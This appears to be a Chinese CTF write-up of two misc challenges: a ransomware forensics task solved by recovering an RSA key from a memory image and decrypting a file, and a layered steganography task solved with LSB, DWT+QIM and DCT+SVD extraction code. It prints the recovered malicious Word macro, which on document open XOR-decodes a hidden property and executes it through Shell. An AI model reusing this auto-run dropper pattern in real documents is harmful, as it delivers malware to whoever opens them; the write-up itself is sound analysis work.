做了几个 misc…写一下吧

Party Time

一个取证,给了一个内存镜像, 一个硬盘。

打开硬盘看到桌面上有一个 docm,一个 flag.rar,以及 readme.txt。看了下是勒索病毒的操作。

docm 解压得到 vbsProject.bin,反解得到逻辑:

Private Sub Document_Open() Dim p As DocumentProperty Dim decoded As String Dim byteArray() As Byte For Each p In ActiveDocument.BuiltInDocumentProperties If p.Name = "Comments" Then byteArray = test(p.Value) decoded = "" For i = LBound(byteArray) To UBound(byteArray) decoded = decoded & Chr(byteArray(i) Xor &H64) Next i Shell (decoded) End If Next End Sub Function test(hexString As String) As Byte() Dim lenHex As Integer lenHex = Len(hexString) Dim byteArray() As Byte ReDim byteArray((lenHex \ 2) - 1) Dim i As Integer Dim byteValue As Integer For i = 0 To lenHex - 1 Step 2 byteValue = Val("&H" & Mid(hexString, i + 1, 2)) byteArray(i \ 2) = byteValue Next i test = byteArray End Function

把附加内容丢进 cyberchef 可以得到运行了如下文件。

Notion image

找到病毒本体,丢进 IDA 里观察,可知它将 RSA 的 key 存储于HKU/$Username/SOFTWARE/nothing 中。memprocfs 挂载内存拿到 key。后面是一个 RSA-OAEP 的加密。只知道cipher 没有用,还需要一个 label 标签。

动态调试一下发现 label 是 deviceKey。即sha256(hostname) 。然后就能解密 flag.rar了。

from Crypto.Cipher import PKCS1_OAEP from Crypto.PublicKey import RSA from Crypto.Hash import SHA256 from Crypto.Util.number import * open("1.rar","wb").write(PKCS1_OAEP.new(RSA.importKey( open("PrivateKey").read()), hashAlgo=SHA256, label=SHA256.new(b"DESKTOP-8KRF7H0").digest() ).decrypt( open("flag.rar","rb").read() ) )

steg_allinone

套娃。。好烦人

直接丢到 cyberchef找 LSB 可以得到第一段。

img = np.array(Image.open("flag.png")) r = img[:,:,0] g = img[:,:,1] b = img[:,:,2] ress = "" h,w = r.shape for i in range(h): for j in range(w): ress += str(r[i,j]%2) print(binary_string_to_bytes(ress).replace(b"\x00",b""))
You get the first part of flag:WMCTF{f1277ad;and you can try the second part by DWT+QIM.Here are some of the more important parameters.delta=8;the second flag's length = 253;block size = 8

第二段

def qim_decode(data,delta): block_quant = 0 quantized_lvl = np.mean(data) % delta if quantized_lvl < delta/4 or quantized_lvl > 3*delta/4: block_quant = 0 else: block_quant = 1 return block_quant h,w = r.shape nbx = w//8 nby = h//8 ress = "" for y in range(nby): for x in range(nbx): block = g[y*8:(y+1)*8,x*8:(x+1)*8] cA,(cH,cV,cD) = dwt2(block,'haar') data = cA ress += str(qim_decode(data,8)) print(binary_string_to_bytes(ress)[:253])
You get the second part of flag:a-b75a-4ec2-b9e;and you can try the third part by DCT+SVD.Here are some of the more important parameters.alpha=0.1;block size = 8;the third flag's length = 83.And there is an original image of this blue channel somewhere.

第三段

import struct # 定义 PNG 文件的签名(前 8 个字节) PNG_SIGNATURE = b'\x89PNG\r\n\x1a\n' def read_png_chunks(file_path): with open(file_path, 'rb') as f: # 读取并验证 PNG 文件签名 signature = f.read(8) if signature != PNG_SIGNATURE: raise ValueError("Not a valid PNG file") chunks = [] while True: # 读取 chunk 长度 (4 bytes) length_data = f.read(4) if len(length_data) < 4: break length = struct.unpack('>I', length_data)[0] # 读取 chunk 类型 (4 bytes) chunk_type = f.read(4).decode('ascii') # 读取 chunk 数据 (长度由 length 指定) chunk_data = f.read(length) # 读取 chunk 的 CRC 校验码 (4 bytes) crc = f.read(4) # 将 chunk 信息存储到列表中 chunks.append({ 'length': length, 'type': chunk_type, 'data': chunk_data, 'crc': crc }) # 如果遇到 IEND chunk,文件结束 if chunk_type == 'IEND': break return chunks chunks = read_png_chunks('flag.png') import zlib import base64 b = b b_ori = base64.b64decode(zlib.decompress(chunks[-2]["data"])) open("b_chal.png","wb").write(b_ori) b_ori = np.array(Image.open("b_chal.png")) h,w = b.shape blk = 8 h,w = h//blk,w//blk ress = "" for i in range(h): for j in range(w): block = np.float32(b[i*blk:(i+1)*blk,j*blk:(j+1)*blk]) block_ori = np.float32(b_ori[i*blk:(i+1)*blk,j*blk:(j+1)*blk]) u,dct_block,v = svd(dct(block)) u,dct_block_ori,v = svd(dct(block_ori)) if dct_block[0] != dct_block_ori[0]: ress += '0' else: ress += '1' print(binary_string_to_bytes(ress)[:83])
You get the third part of flag:0-0eb11ceead9c};You are the master of steganography!